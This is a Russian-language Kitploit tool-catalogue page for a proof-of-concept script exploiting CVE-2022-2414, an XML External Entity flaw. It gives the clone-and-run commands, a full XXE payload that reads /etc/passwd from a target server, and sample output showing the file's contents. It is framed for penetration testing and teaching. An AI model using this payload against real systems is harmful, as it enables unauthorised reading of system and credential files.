Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-2414 — это PoC-скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE) | Kitploit
Инструменты/GitHubGitHub/geniuszly/cve-2022-2414
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubgeniuszly/cve-2022-2414

CVE-2022-2414

это PoC-скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE)

Репозиторий
321 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GenXMLExternalEntityExploit — это PoC скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE). Скрипт использует XML-пейлоад для чтения конфиденциальных файлов с целевого сервера. Может использоваться для тестирования безопасности, проведения пентестов или в образовательных целях.

Функциональные возможности

  • Отправляет сформированный XML-пейлоад на указанный сервер.
  • Использует уязвимость XXE для чтения файлов на сервере.
  • Легко настраиваемые URL-адрес целевого сервера и содержимое пейлоада.

Как использовать

  1. Клонируйте репозиторий
    root@kitploit:~
    git clone https://github.com/geniuszly/CVE-2022-2414
  2. Перейдите в директорию
    root@kitploit:~
    cd CVE-2022-2414
  3. Запустите скрипт Убедитесь, что у вас установлен Python.
    root@kitploit:~
    python3 GenXMLExternalEntityExploit.py

Настройки

  • TARGET_URL: Измените переменную TARGET_URL в скрипте на URL-адрес сервера, который вы хотите протестировать.
  • XML_PAYLOAD: Настройте строку XML_PAYLOAD для указания конкретных файлов или операций на стороне сервера.
  • HEADERS: При необходимости измените HTTP-заголовки.

    • Пример

    По умолчанию скрипт использует следующий пейлоад для чтения файла /etc/passwd:

    root@kitploit:~
    <!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>

    Пример вывода

    root@kitploit:~
    Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...

    Отказ от ответственности

    Этот инструмент предназначен исключительно для образовательных целей и тестирования безопасности с разрешения. Автор не несет ответственности за любое незаконное использование данного инструмента.

    Скачать инструмент